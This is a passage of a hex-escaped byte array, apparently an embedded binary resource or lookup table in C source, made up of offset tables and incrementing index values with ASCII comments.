"\x59\xB1\x04\x00\xD1\xB0\x04\x00\x7D\xB9\x02\x00\xBB\x58\x01\x00" //Y...Ñ...}....X.. /* 000BE0 */ "\x1B\xE0\x01\x00\x29\xBA\x04\x00\x27\x1E\x01\x00\xA0\xAE\x04\x00" //.à..)...'....... /* 000C00 */ "\xB9\xBD\x04\x00\xB1\xB5\x04\x00\xC1\xA3\x04\x00\xC5\xA2\x04\x00" //........Á...Å... /* 000C20 */ "\x31\xA4\x04\x00\x21\xB6\x04\x00\x07\x2E\x01\x00\x8D\xBF\x04\x00" //1...!........... /* 000C40 */ "\xCD\xB2\x04\x00\x28\x95\x04\x00\xE7\x9C\x04\x00\x91\xAC\x04\x00" //Í...(...ç....... /* 000C60 */ "\x79\xBB\x04\x00\x9E\xDE\x01\x00\x41\xA3\x04\x00\xA1\xA4\x04\x00" //y....Þ..A....... /* 000C80 */ "\xA9\xAF\x04\x00\xC1\xB6\x04\x00\x59\xBC\x04\x00\x29\xBE\x04\x00" //....Á...Y...)... /* 000CA0 */ "\x59\xB3\x04\x00\x41\xBD\x04\x00\x92\x9F\x04\x00\x95\x97\x04\x00" //Y...A........... /* 000CC0 */ "\x3F\xD0\x02\x00\x9F\x87\x00\x00\x6B\x87\x00\x00\x04\x8D\x00\x00" //?Ð......k....... /* 000CE0 */ "\xB2\x70\x01\x00\x78\x70\x01\x00\x52\x71\x01\x00\xE7\x57\x04\x00" //.p..xp..Rq..çW.. /* 000D00 */ "\x03\x56\x04\x00\xB5\xDD\x03\x00\xD1\x7E\x02\x00\x5E\x74\x00\x00" //.V...Ý..Ñ~..^t.. /* 000D20 */ "\x4B\x48\x01\x00\x79\x0F\x02\x00\x3B\xC2\x03\x00\x1C\xE2\x03\x00" //KH..y...;Â...â.. /* 000D40 */ "\x13\x48\x01\x00\x70\xE2\x03\x00\x58\xD2\x03\x00\xD6\xE0\x03\x00" //.H..pâ..XÒ..Öà.. /* 000D60 */ "\x5C\x48\x01\x00\xBF\xE1\x03\x00\x11\xD2\x03\x00\x49\xC9\x03\x00" //\H...á...Ò..IÉ.. /* 000D80 */ "\x90\xC4\x03\x00\x74\x38\x04\x00\x3E\x34\x04\x00\xB0\x5E\x02\x00" //.Ä..t8..>4...^.. /* 000DA0 */ "\x88\x10\x02\x00\x8B\x79\x00\x00\xAE\x69\x02\x00\x55\x6F\x01\x00" //.....y...i..Uo.. /* 000DC0 */ "\x66\x4C\x02\x00\xFD\x6F\x01\x00\xCC\x72\x00\x00\x3A\x85\x05\x00" //fL..ýo..Ìr..:... /* 000DE0 */ "\x51\x86\x05\x00\xB4\xBA\x02\x00\xC4\xE2\x03\x00\x96\xD2\x03\x00" //Q.......Äâ...Ò.. /* 000E00 */ "\x19\x6F\x04\x00\x84\x8E\x05\x00\x39\xAB\x05\x00\xF1\xCB\x02\x00" //.o......9...ñË.. /* 000E20 */ "\x0D\x35\x04\x00\x99\x79\x06\x00\xB1\x7A\x06\x00\x96\x15\x02\x00" //.5...y...z...... /* 000E40 */ "\x92\x6F\x02\x00\xC9\x7B\x06\x00\x59\x7C\x06\x00\x01\x6D\x06\x00" //.o..É{..Y|...m.. /* 000E60 */ "\x50\x6D\x01\x00\x0A\x12\x02\x00\xF5\xAF\x05\x00\x16\xB0\x05\x00" //Pm......õ....... /* 000E80 */ "\xB2\x34\x04\x00\x21\x1B\x02\x00\x70\x34\x04\x00\x9C\x5C\x02\x00" //.4..!...p4...\.. /* 000EA0 */ "\x23\xC8\x03\x00\x27\x6C\x00\x00\x2A\x51\x06\x00\x7A\x81\x02\x00" //#È..'l..*Q..z... /* 000EC0 */ "\xF3\xBC\x02\x00\xF4\xE9\x00\x00\x6C\x77\x00\x00\x55\xBA\x02\x00" //ó...ôé..lw..U... /* 000EE0 */ "\xA0\x42\x01\x00\x9B\x55\x01\x00\xE5\xEC\x00\x00\xF1\xED\x00\x00" //.B...U..åì..ñí.. /* 000F00 */ "\x7B\x83\x02\x00\x7D\x4F\x06\x00\xB8\x53\x01\x00\xB6\x51\x01\x00" //{...}O...S...Q.. /* 000F20 */ "\xD9\x7B\x00\x00\xE4\xD5\x00\x00\xBF\x9B\x02\x00\xED\x7E\x00\x00" //Ù{..äÕ......í~.. /* 000F40 */ "\xE0\x4C\x02\x00\x18\x39\x02\x00\x83\x51\x06\x00\x86\x0D\x02\x00" //àL...9...Q...... /* 000F60 */ "\xFE\xD8\x00\x00\x1B\x81\x00\x00\xC8\xEF\x00\x00\x52\x78\x00\x00" //þØ......Èï..Rx.. /* 000F80 */ "\xAF\x6A\x00\x00\x46\x79\x00\x00\x61\xB4\x02\x00\x14\x4F\x06\x00" //.j..Fy..a....O.. /* 000FA0 */ "\x32\x43\x01\x00\xCE\x49\x01\x00\x8F\x56\x06\x00\xF1\x59\x06\x00" //2C..ÎI...V..ñY.. /* 000FC0 */ "\x8D\xBB\x02\x00\xBB\x7A\x00\x00\xFF\x6F\x00\x00\x7A\xD8\x00\x00" //.....z..ÿo..zØ.. /* 000FE0 */ "\xF7\x53\x06\x00\xC0\x55\x06\x00\x4D\x5C\x06\x00\xFE\x5C\x06\x00" //÷S..ÀU..M\..þ\.. /* 001000 */ "\x92\x5D\x06\x00\x51\x5F\x06\x00\x46\x60\x06\x00\x84\x5E\x06\x00" //.]..Q_..F`...^.. /* 001020 */ "\xFD\x3A\x02\x00\x9E\xC7\x02\x00\xE7\xEA\x00\x00\x67\xD7\x00\x00" //ý:...Ç..çê..g×.. /* 001040 */ "\x16\x61\x06\x00\xC5\x52\x06\x00\x66\x53\x06\x00\x60\x7B\x02\x00" //.a..ÅR..fS..`{.. /* 001060 */ "\x3C\x80\x02\x00\xD2\x08\x02\x00\xC6\x4E\x02\x00\xAB\xFE\x01\x00" //<...Ò...ÆN...þ.. /* 001080 */ "\x49\x3E\x02\x00\x77\x3E\x02\x00\xA1\x95\x02\x00\x89\x92\x02\x00" //I>..w>.......... /* 0010A0 */ "\x31\x63\x05\x00\x48\x35\x04\x00\xB2\x7C\x02\x00\x81\x36\x02\x00" //1c..H5...|...6.. /* 0010C0 */ "\x38\x73\x00\x00\x98\xAF\x00\x00\x3D\xAB\x00\x00\xC5\xE9\x04\x00" //8s......=...Åé.. /* 0010E0 */ "\xF0\xFC\x01\x00\xDD\x99\x02\x00\xC8\x9E\x00\x00\x8D\xF7\x04\x00" //ðü..Ý...È....÷.. /* 001100 */ "\x4D\x05\x05\x00\xE0\xF3\x04\x00\x85\x09\x05\x00\xC3\x68\x02\x00" //M...àó......Ãh.. /* 001120 */ "\xAB\x98\x02\x00\x84\xEF\x01\x00\x8D\xF7\x04\x00\xAA\x05\x04\x00" //.....ï...÷...... /* 001140 */ "\xB1\xC8\x02\x00\x0E\xD3\x03\x00\xD4\x32\x05\x00\x9B\x32\x05\x00" //.È...Ó..Ô2...2.. /* 001160 */ "\x79\x19\x05\x00\xC2\x4E\x01\x00\x34\x33\x05\x00\x0D\x33\x05\x00" //y...ÂN..43...3.. /* 001180 */ "\xBD\xD6\x03\x00\xE1\xA3\x01\x00\x4D\x05\x05\x00\xE0\xF3\x04\x00" //.Ö..á...M...àó.. /* 0011A0 */ "\x9A\x4E\x01\x00\x30\x19\x05\x00\x99\x3B\x05\x00\x9E\x39\x05\x00" //.N..0....;...9.. /* 0011C0 */ "\xF5\x0C\x02\x00\x1E\xD6\x03\x00\x52\xD6\x03\x00\x31\xE5\x01\x00" //õ....Ö..RÖ..1å.. /* 0011E0 */ "\xEB\x79\x00\x00\x2D\x4B\x01\x00\x05\x4B\x01\x00\x05\xDE\x03\x00" //ëy..-K...K...Þ.. /* 001200 */ "\x8E\x4E\x02\x00\xF2\x4D\x02\x00\x59\x40\x05\x00\x51\x3E\x05\x00" //.N..òM..Y@..Q>.. /* 001220 */ "\xF9\x6B\x06\x00\x81\x6D\x06\x00\x51\x32\x02\x00\x93\xF1\x00\x00" //ùk...m..Q2...ñ.. /* 001240 */ "\xCF\xCB\x03\x00\xB4\x61\x05\x00\xBE\x35\x04\x00\x58\xFB\x01\x00" //ÏË...a...5..Xû.. /* 001260 */ "\x09\x7F\x06\x00\x9D\x35\x02\x00\x94\x3E\x02\x00\xFB\x94\x05\x00" //.....5...>..û... /* 001280 */ "\x61\x9A\x05\x00\x37\xB0\x05\x00\x58\xB0\x05\x00\xB9\xEE\x03\x00" //a...7...X....î.. /* 0012A0 */ "\xBA\xD7\x01\x00\x65\xCF\x01\x00\x16\x54\x02\x00\x17\xD9\x01\x00" //.×..eÏ...T...Ù.. /* 0012C0 */ "\x9F\xDC\x01\x00\x87\x53\x02\x00\xAE\x52\x02\x00\x4D\x55\x02\x00" //.Ü...S...R..MU.. /* 0012E0 */ "\x40\x55\x02\x00\xFC\x55\x02\x00\xEF\x55\x02\x00\x91\x70\x04\x00" //@U..üU..ïU...p.. /* 001300 */ "\xCB\x70\x04\x00\x05\x71\x04\x00\x12\x71\x04\x00\x1F\x71\x04\x00" //Ëp...q...q...q.. /* 001320 */ "\x55\x71\x04\x00\x8B\x71\x04\x00\x98\x71\x04\x00\x05\x71\x04\x00" //Uq...q...q...q.. /* 001340 */ "\x12\x71\x04\x00\x05\x71\x04\x00\x12\x71\x04\x00\xA5\x71\x04\x00" //.q...q...q...q.. /* 001360 */ "\xD4\x4B\x02\x00\xFD\x71\x04\x00\xC7\x4B\x02\x00\x8D\xDD\x01\x00" //ÔK..ýq..ÇK...Ý.. /* 001380 */ "\x2C\xDB\x01\x00\xA5\x4B\x02\x00\xA5\x4B\x02\x00\x0A\x72\x04\x00" //,Û...K...K...r.. /* 0013A0 */ "\x0A\x72\x04\x00\xC6\xDD\x01\x00\x85\x81\x01\x00\xA2\x82\x00\x00" //.r..ÆÝ.......... /* 0013C0 */ "\x14\x70\x02\x00\xD2\xE4\x01\x00\x01\xA9\x05\x00\x01\xAA\x05\x00" //.p..Òä.......... /* 0013E0 */ "\x55\xB3\x05\x00\xE9\xB3\x05\x00\x61\x24\x05\x00\xDF\x23\x05\x00" //U...é...a$..ß#.. /* 001400 */ "\x39\x34\x05\x00\x5B\x33\x05\x00\x0C\xD2\x04\x00\xE9\x7C\x06\x00" //94..[3...Ò..é|.. /* 001420 */ "\xA9\x6F\x04\x00\xDD\x56\x02\x00\x79\xB0\x05\x00\x9A\xB0\x05\x00" //.o..ÝV..y....... /* 001440 */ "\xDA\xB4\x05\x00\x04\xFE\x01\x00\x71\x78\x05\x00\xBE\x78\x05\x00" //Ú....þ..qx...x.. /* 001460 */ "\x81\xC6\x05\x00\x3D\xC7\x05\x00\xC9\xC4\x05\x00\x62\xCA\x05\x00" //.Æ..=Ç..ÉÄ..bÊ.. /* 001480 */ "\xB5\xBF\x05\x00\xD6\xCA\x05\x00\xF5\xC2\x05\x00\xE3\x83\x02\x00" //....ÖÊ..õÂ..ã... /* 0014A0 */ "\x4A\x6E\x05\x00\xE0\x78\x05\x00\xB2\x6F\x05\x00\xFC\xCC\x05\x00" //Jn..àx...o..üÌ.. /* 0014C0 */ "\x89\xEC\x01\x00\xCD\xC2\x05\x00\xAC\x8C\x02\x00\x63\x8E\x02\x00" //.ì..ÍÂ......c... /* 0014E0 */ "\xF8\x89\x05\x00\x18\x88\x05\x00\xA8\xC8\x05\x00\xD0\xC8\x05\x00" //ø........È..ÐÈ.. /* 001500 */ "\x5D\xB5\x05\x00\x2C\x50\x01\x00\xD5\xC7\x05\x00\x10\xC9\x05\x00" //]...,P..ÕÇ...É.. /* 001520 */ "\x4D\xBB\x05\x00\x85\xB9\x05\x00\x05\xB7\x05\x00\x81\xC8\x05\x00" //M............È.. /* 001540 */ "\xEA\xFE\x01\x00\x97\xC9\x05\x00\x77\xBC\x05\x00\xFB\xC9\x05\x00" //êþ...É..w...ûÉ.. /* 001560 */ "\x15\xBE\x05\x00\x23\x84\x06\x00\x86\x34\x04\x00\x4B\x31\x00\x00" //....#....4..K1.. /* 001580 */ "\x56\x31\x00\x00\x60\x31\x00\x00\x6C\x31\x00\x00\x81\x31\x00\x00" //V1..`1..l1...1.. /* 0015A0 */ "\x96\x31\x00\x00\xA2\x31\x00\x00\xBC\x31\x00\x00\xD6\x31\x00\x00" //.1...1...1..Ö1.. /* 0015C0 */ "\xE8\x31\x00\x00\x08\x32\x00\x00\x28\x32\x00\x00\x44\x32\x00\x00" //è1...2..(2..D2.. /* 0015E0 */ "\x6E\x32\x00\x00\xA0\x32\x00\x00\xD2\x32\x00\x00\xFC\x32\x00\x00" //n2...2..Ò2..ü2.. /* 001600 */ "\x10\x33\x00\x00\x26\x33\x00\x00\x40\x33\x00\x00\x53\x33\x00\x00" //.3..&3..@3..S3.. /* 001620 */ "\x68\x33\x00\x00\x81\x33\x00\x00\x88\x33\x00\x00\x9A\x33\x00\x00" //h3...3...3...3.. /* 001640 */ "\xAE\x33\x00\x00\xC6\x33\x00\x00\xDE\x33\x00\x00\xF0\x33\x00\x00" //.3..Æ3..Þ3..ð3.. /* 001660 */ "\x06\x34\x00\x00\x1F\x34\x00\x00\x37\x34\x00\x00\x4D\x34\x00\x00" //.4...4..74..M4.. /* 001680 */ "\x63\x34\x00\x00\x73\x34\x00\x00\x83\x34\x00\x00\xA0\x34\x00\x00" //c4..s4...4...4.. /* 0016A0 */ "\xBD\x34\x00\x00\xE5\x34\x00\x00\x0D\x35\x00\x00\x26\x35\x00\x00" //.4..å4...5..&5.. /* 0016C0 */ "\x3F\x35\x00\x00\x58\x35\x00\x00\x71\x35\x00\x00\x87\x35\x00\x00" //?5..X5..q5...5.. /* 0016E0 */ "\x9D\x35\x00\x00\xBD\x35\x00\x00\xDD\x35\x00\x00\xFC\x35\x00\x00" //.5...5..Ý5..ü5.. /* 001700 */ "\x1B\x36\x00\x00\x30\x36\x00\x00\x45\x36\x00\x00\x5C\x36\x00\x00" //.6..06..E6..\6.. /* 001720 */ "\x72\x36\x00\x00\x88\x36\x00\x00\x9D\x36\x00\x00\xB2\x36\x00\x00" //r6...6...6...6.. /* 001740 */ "\xC7\x36\x00\x00\xD6\x36\x00\x00\xE5\x36\x00\x00\xF9\x36\x00\x00" //Ç6..Ö6..å6..ù6.. /* 001760 */ "\x0F\x37\x00\x00\x1D\x37\x00\x00\x30\x37\x00\x00\x3B\x37\x00\x00" //.7...7..07..;7.. /* 001780 */ "\x58\x37\x00\x00\x7D\x37\x00\x00\x8C\x37\x00\x00\x9A\x37\x00\x00" //X7..}7...7...7.. /* 0017A0 */ "\xA8\x37\x00\x00\xCB\x37\x00\x00\xEE\x37\x00\x00\x0D\x38\x00\x00" //.7..Ë7..î7...8.. /* 0017C0 */ "\x2C\x38\x00\x00\x4F\x38\x00\x00\x77\x38\x00\x00\x9F\x38\x00\x00" //,8..O8..w8...8.. /* 0017E0 */ "\xC2\x38\x00\x00\xF7\x38\x00\x00\x2C\x39\x00\x00\x43\x39\x00\x00" //Â8..÷8..,9..C9.. /* 001800 */ "\x5A\x39\x00\x00\x75\x39\x00\x00\x90\x39\x00\x00\xAF\x39\x00\x00" //Z9..u9...9...9.. /* 001820 */ "\xCE\x39\x00\x00\x03\x3A\x00\x00\x38\x3A\x00\x00\x4F\x3A\x00\x00" //Î9...:..8:..O:.. /* 001840 */ "\x66\x3A\x00\x00\x90\x3A\x00\x00\x98\x3A\x00\x00\xAD\x3A\x00\x00" //f:...:...:...:.. /* 001860 */ "\xC9\x3A\x00\x00\xE7\x3A\x00\x00\x1A\x3B\x00\x00\x2F\x3B\x00\x00" //É:..ç:...;../;.. /* 001880 */ "\x49\x3B\x00\x00\x5E\x3B\x00\x00\x76\x3B\x00\x00\x8C\x3B\x00\x00" //I;..^;..v;...;.. /* 0018A0 */ "\x9B\x3B\x00\x00\xAA\x3B\x00\x00\xC0\x3B\x00\x00\xD3\x3B\x00\x00" //.;...;..À;..Ó;.. /* 0018C0 */ "\xDF\x3B\x00\x00\xEB\x3B\x00\x00\xFA\x3B\x00\x00\x09\x3C\x00\x00" //ß;..ë;..ú;...<.. /* 0018E0 */ "\x12\x3C\x00\x00\x26\x3C\x00\x00\x39\x3C\x00\x00\x4C\x3C\x00\x00" //.<..&<..9<..L<.. /* 001900 */ "\x67\x3C\x00\x00\x82\x3C\x00\x00\x99\x3C\x00\x00\xB0\x3C\x00\x00" //g<...<...<...<.. /* 001920 */ "\xC2\x3C\x00\x00\xCC\x3C\x00\x00\xE7\x3C\x00\x00\x02\x3D\x00\x00" //Â<..Ì<..ç<...=.. /* 001940 */ "\x0C\x3D\x00\x00\x18\x3D\x00\x00\x24\x3D\x00\x00\x3D\x3D\x00\x00" //.=...=..$=..==.. /* 001960 */ "\x56\x3D\x00\x00\x61\x3D\x00\x00\x7D\x3D\x00\x00\x99\x3D\x00\x00" //V=..a=..}=...=.. /* 001980 */ "\xA4\x3D\x00\x00\xBB\x3D\x00\x00\xD2\x3D\x00\x00\xE8\x3D\x00\x00" //.=...=..Ò=..è=.. /* 0019A0 */ "\xFE\x3D\x00\x00\x13\x3E\x00\x00\x28\x3E\x00\x00\x3B\x3E\x00\x00" //þ=...>..(>..;>.. /* 0019C0 */ "\x4B\x3E\x00\x00\x58\x3E\x00\x00\x67\x3E\x00\x00\x78\x3E\x00\x00" //K>..X>..g>..x>.. /* 0019E0 */ "\x88\x3E\x00\x00\x9B\x3E\x00\x00\xAD\x3E\x00\x00\xBA\x3E\x00\x00" //.>...>...>...>.. /* 001A00 */ "\xD2\x3E\x00\x00\xEA\x3E\x00\x00\xFE\x3E\x00\x00\x12\x3F\x00\x00" //Ò>..ê>..þ>...?.. /* 001A20 */ "\x21\x3F\x00\x00\x2D\x3F\x00\x00\x3C\x3F\x00\x00\x55\x3F\x00\x00" //!?..-?..d.. /* 0028E0 */ "\x50\x64\x00\x00\x62\x64\x00\x00\x74\x64\x00\x00\x86\x64\x00\x00" //Pd..bd..td...d.. /* 002900 */ "\x91\x64\x00\x00\xA4\x64\x00\x00\xB1\x64\x00\x00\xC0\x64\x00\x00" //.d...d...d..Àd.. /* 002920 */ "\xDC\x64\x00\x00\xF8\x64\x00\x00\x0F\x65\x00\x00\x26\x65\x00\x00" //Üd..ød...e..&e.. /* 002940 */ "\x3B\x65\x00\x00\x51\x65\x00\x00\x64\x65\x00\x00\x79\x65\x00\x00" //;e..Qe..de..ye.. /* 002960 */ "\x86\x65\x00\x00\x93\x65\x00\x00\xA5\x65\x00\x00\xB3\x65\x00\x00" //.e...e...e...e.. /* 002980 */ "\xCB\x65\x00\x00\xDF\x65\x00\x00\xF9\x65\x00\x00\x13\x66\x00\x00" //Ëe..ße..ùe...f.. /* 0029A0 */ "\x25\x66\x00\x00\x37\x66\x00\x00\x49\x66\x00\x00\x66\x66\x00\x00" //%f..7f..If..ff.. /* 0029C0 */ "\x83\x66\x00\x00\x91\x66\x00\x00\xA8\x66\x00\x00\xB8\x66\x00\x00" //.f...f...f...f.. /* 0029E0 */ "\xCA\x66\x00\x00\xE4\x66\x00\x00\xFE\x66\x00\x00\x1B\x67\x00\x00" //Êf..äf..þf...g.. /* 002A00 */ "\x38\x67\x00\x00\x45\x67\x00\x00\x5C\x67\x00\x00\x6F\x67\x00\x00" //8g..Eg..\g..og.. /* 002A20 */ "\x80\x67\x00\x00\x99\x67\x00\x00\xB2\x67\x00\x00\xC3\x67\x00\x00" //.g...g...g..Ãg.. /* 002A40 */ "\xDB\x67\x00\x00\xF3\x67\x00\x00\x13\x68\x00\x00\x33\x68\x00\x00" //Ûg..óg...h..3h.. /* 002A60 */ "\x4B\x68\x00\x00\x64\x68\x00\x00\x7D\x68\x00\x00\x93\x68\x00\x00" //Kh..dh..}h...h.. /* 002A80 */ "\xA9\x68\x00\x00\xBB\x68\x00\x00\xCD\x68\x00\x00\xE0\x68\x00\x00" //.h...h..Íh..àh.. /* 002AA0 */ "\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x06\x00\x07\x00\x08\x00" //................ /* 002AC0 */ "\x09\x00\x0A\x00\x0B\x00\x0C\x00\x0D\x00\x0E\x00\x0F\x00\x10\x00" //................ /* 002AE0 */ "\x11\x00\x12\x00\x13\x00\x14\x00\x15\x00\x16\x00\x17\x00\x18\x00" //................ /* 002B00 */ "\x19\x00\x1A\x00\x1B\x00\x1C\x00\x1D\x00\x1E\x00\x1F\x00\x20\x00" //................ /* 002B20 */ "\x21\x00\x22\x00\x23\x00\x24\x00\x25\x00\x26\x00\x27\x00\x28\x00" //!.".#.$.%.&.'.(. /* 002B40 */ "\x29\x00\x2A\x00\x2B\x00\x2C\x00\x2D\x00\x2E\x00\x2F\x00\x30\x00" //).*.+.,.-.../.0. /* 002B60 */ "\x31\x00\x32\x00\x33\x00\x34\x00\x35\x00\x36\x00\x37\x00\x38\x00" //1.2.3.4.5.6.7.8. /* 002B80 */ "\x39\x00\x3A\x00\x3B\x00\x3C\x00\x3D\x00\x3E\x00\x3F\x00\x40\x00" //9.:.;.<.=.>.?.@. /* 002BA0 */ "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x48\x00" //A.B.C.D.E.F.G.H. /* 002BC0 */ "\x49\x00\x4A\x00\x4B\x00\x4C\x00\x4D\x00\x4E\x00\x4F\x00\x50\x00" //I.J.K.L.M.N.O.P. /* 002BE0 */ "\x51\x00\x52\x00\x53\x00\x54\x00\x55\x00\x56\x00\x57\x00\x58\x00" //Q.R.S.T.U.V.W.X. /* 002C00 */ "\x59\x00\x5A\x00\x5B\x00\x5C\x00\x5D\x00\x5E\x00\x5F\x00\x60\x00" //Y.Z.[.\.].^._.`. /* 002C20 */ "\x61\x00\x62\x00\x63\x00\x64\x00\x65\x00\x66\x00\x67\x00\x68\x00" //a.b.c.d.e.f.g.h. /* 002C40 */ "\x69\x00\x6A\x00\x6B\x00\x6C\x00\x6D\x00\x6E\x00\x6F\x00\x70\x00" //i.j.k.l.m.n.o.p. /* 002C60 */ "\x71\x00\x72\x00\x73\x00\x74\x00\x75\x00\x76\x00\x77\x00\x78\x00" //q.r.s.t.u.v.w.x. /* 002C80 */ "\x79\x00\x7A\x00\x7B\x00\x7C\x00\x7D\x00\x7E\x00\x7F\x00\x80\x00" //y.z.{.|.}.~..... /* 002CA0 */ "\x81\x00\x82\x00\x83\x00\x84\x00\x85\x00\x86\x00\x87\x00\x88\x00" //................ /* 002CC0 */ "\x89\x00\x8A\x00\x8B\x00\x8C\x00\x8D\x00\x8E\x00\x8F\x00\x90\x00" //................ /* 002CE0 */ "\x91\x00\x92\x00\x93\x00\x94\x00\x95\x00\x96\x00\x97\x00\x98\x00" //................ /* 002D00 */ "\x99\x00\x9A\x00\x9B\x00\x9C\x00\x9D\x00\x9E\x00\x9F\x00\xA0\x00" //................ /* 002D20 */ "\xA1\x00\xA2\x00\xA3\x00\xA4\x00\xA5\x00\xA6\x00\xA7\x00\xA8\x00" //................ /* 002D40 */ "\xA9\x00\xAA\x00\xAB\x00\xAC\x00\xAD\x00\xAE\x00\xAF\x00\xB0\x00" //................ /* 002D60 */ "\xB1\x00\xB2\x00\xB3\x00\xB4\x00\xB5\x00\xB6\x00\xB7\x00\xB8\x00" //................ /* 002D80 */ "\xB9\x00\xBA\x00\xBB\x00\xBC\x00\xBD\x00\xBE\x00\xBF\x00\xC0\x00" //..............À. /* 002DA0 */ "\xC1\x00\xC2\x00\xC3\x00\xC4\x00\xC5\x00\xC6\x00\xC7\x00\xC8\x00" //Á.Â.Ã.Ä.Å.Æ.Ç.È. /* 002DC0 */ "\xC9\x00\xCA\x00\xCB\x00\xCC\x00\xCD\x00\xCE\x00\xCF\x00\xD0\x00" //É.Ê.Ë.Ì.Í.Î.Ï.Ð. /* 002DE0 */ "\xD1\x00\xD2\x00\xD3\x00\xD4\x00\xD5\x00\xD6\x00\xD7\x00\xD8\x00" //Ñ.Ò.Ó.Ô.Õ.Ö.×.Ø. /* 002E00 */ "\xD9\x00\xDA\x00\xDB\x00\xDC\x00\xDD\x00\xDE\x00\xDF\x00\xE0\x00" //Ù.Ú.Û.Ü.Ý.Þ.ß.à. /* 002E20 */ "\xE1\x00\xE2\x00\xE3\x00\xE4\x00\xE5\x00\xE6\x00\xE7\x00\xE8\x00" //á.â.ã.ä.å.æ.ç.è. /* 002E40 */ "\xE9\x00\xEA\x00\xEB\x00\xEC\x00\xED\x00\xEE\x00\xEF\x00\xF0\x00" //é.ê.ë.ì.í.î.ï.ð. /* 002E60 */ "\xF1\x00\xF2\x00\xF3\x00\xF4\x00\xF5\x00\xF6\x00\xF7\x00\xF8\x00" //ñ.ò.ó.ô.õ.ö.÷.ø. /* 002E80 */ "\xF9\x00\xFA\x00\xFB\x00\xFC\x00\xFD\x00\xFE\x00\xFF\x00\x00\x01" //ù.ú.û.ü.ý.þ.ÿ... /* 002EA0 */ "\x01\x01\x02\x01\x03\x01\x04\x01\x05\x01\x06\x01\x07\x01\x08\x01" //................ /* 002EC0 */ "\x09\x01\x0A\x01\x0B\x01\x0C\x01\x0D\x01\x0E\x01\x0F\x01\x10\x01" //................ /* 002EE0 */ "\x11\x01\x12\x01\x13\x01\x14\x01\x15\x01\x16\x01\x17\x01\x18\x01" //................ /* 002F00 */ "\x19\x01\x1A\x01\x1B\x01\x1C\x01\x1D\x01\x1E\x01\x1F\x01\x20\x01" //................ /* 002F20 */ "\x21\x01\x22\x01\x23\x01\x24\x01\x25\x01\x26\x01\x00\x00\x27\x01" //!.".#.$.%.&...'. /* 002F40 */ "\x28\x01\x29\x01\x2A\x01\x2B\x01\x2C\x01\x2D\x01\x2E\x01\x2F\x01" //(.).*.+.,.-.../. /* 002F60 */ "\x30\x01\x31\x01\x32\x01\x33\x01\x34\x01\x35\x01\x36\x01\x37\x01" //0.1.2.3.4.5.6.7. /* 002F80 */ "\x38\x01\x39\x01\x3A\x01\x3B\x01\x3C\x01\x3D\x01\x3E\x01\x3F\x01" //8.9.:.;.<.=.>.?. /* 002FA0 */ "\x40\x01\x41\x01\x42\x01\x43\x01\x44\x01\x45\x01\x46\x01\x47\x01" //@.A.B.C.D.E.F.G. /* 002FC0 */ "\x48\x01\x49\x01\x4A\x01\x4B\x01\x4C\x01\x4D\x01\x4E\x01\x4F\x01" //H.I.J.K.L.M.N.O. /* 002FE0 */ "\x50\x01\x51\x01\x52\x01\x53\x01\x54\x01\x55\x01\x56\x01\x57\x01" //P.Q.R.S.T.U.V.W. /* 003000 */ "\x58\x01\x59\x01\x5A\x01\x5B\x01\x5C\x01\x5D\x01\x5E\x01\x5F\x01" //X.Y.Z.[.\.].^._. /* 003020 */ "\x60\x01\x61\x01\x62\x01\x63\x01\x64\x01\x65\x01\x66\x01\x67\x01" //`.a.b.c.d.e.f.g. /* 003040 */ "\x68\x01\x69\x01\x6A\x01\x6B\x01\x6D\x01\x6C\x01\x6E\x01\x6F\x01" //h.i.j.k.m.l.n.o. /* 003060 */ "\x70\x01\x71\x01\x72\x01\x73\x01\x74\x01\x75\x01\x76\x01\x77\x01" //p.q.r.s.t.u.v.w. /* 003080 */ "\x78\x01\x79\x01\x7A\x01\x7B\x01\x7C\x01\x7D\x01\x7E\x01\x7F\x01" //x.y.z.{.|.}.~... /* 0030A0 */ "\x80\x01\x81\x01\x82\x01\x83\x01\x84\x01\x85\x01\x86\x01\x87\x01" //................ /* 0030C0 */ "\x88\x01\x89\x01\x8A\x01\x8B\x01\x8C\x01\x8D\x01\x8E\x01\x8F\x01" //................ /* 0030E0 */ "\x90\x01\x91\x01\x92\x01\x93\x01\x94\x01\x96\x01\x95\x01\x98\x01" //................ /* 003100 */ "\x97\x01\x99\x01\x9A\x01\x9B\x01\x9C\x01\x9D\x01\x9E\x01\x9F\x01" //................ /* 003120 */ "\xA0\x01\xA1\x01\xA2\x01\xA3\x01\xA4\x01\xA5\x01\xA6\x01\xA7\x01" //................ /* 003140 */ "\xA8\x01\xA9\x01\xAA\x01\xAB\x01\xAC\x01\xAD\x01\xAE\x01\xAF\x01" //................ /* 003160 */ "\xB0\x01\xB1\x01\xB2\x01\xB3\x01\xB4\x01\xB5\x01\xB6\x01\xB7\x01" //................ /* 003180 */ "\xB8\x01\xB9\x01\xBA\x01\xBB\x01\xBC\x01\xBD\x01\xBE\x01\xBF\x01" //................ /* 0031A0 */ "\xC0\x01\xC1\x01\xC2\x01\xC3\x01\xC4\x01\xC5\x01\xC6\x01\xC7\x01" //À.Á.Â.Ã.Ä.Å.Æ.Ç. /* 0031C0 */ "\xC8\x01\xC9\x01\xCA\x01\xCB\x01\xCC\x01\xCD\x01\xCE\x01\xCF\x01" //È.É.Ê.Ë.Ì.Í.Î.Ï. /* 0031E0 */ "\xD0\x01\xD1\x01\xD2\x01\xD3\x01\xD4\x01\xD5\x01\xD6\x01\xD7\x01" //Ð.Ñ.Ò.Ó.Ô.Õ.Ö.×. /* 003200 */ "\xD8\x01\xD9\x01\xDA\x01\xDB\x01\xDC\x01\xDD\x01\xDE\x01\xDF\x01" //Ø.Ù.Ú.Û.Ü.Ý.Þ.ß. /* 003220 */ "\xE0\x01\xE1\x01\xE2\x01\xE3\x01\xE4\x01\xE5\x01\xE6\x01\xE7\x01" //à.á.â.ã.ä.å.æ.ç. /* 003240 */ "\xE8\x01\xE9\x01\xEA\x01\xEB\x01\xEC\x01\xED\x01\xEE\x01\xEF\x01" //è.é.ê.ë.ì.í.î.ï. /* 003260 */ "\xF0\x01\xF1\x01\xF2\x01\xF3\x01\xF4\x01\xF5\x01\xF6\x01\xF7\x01" //ð.ñ.ò.ó.ô.õ.ö.÷. /* 003280 */ "\xF8\x01\xF9\x01\xFA\x01\xFB\x01\xFC\x01\xFD\x01\xFE\x01\xFF\x01" //ø.ù.ú.û.ü.ý.þ.ÿ. /* 0032A0 */ "\x00\x02\x01\x02\x02\x02\x03\x02\x04\x02\x05\x02\x06\x02\x07\x02" 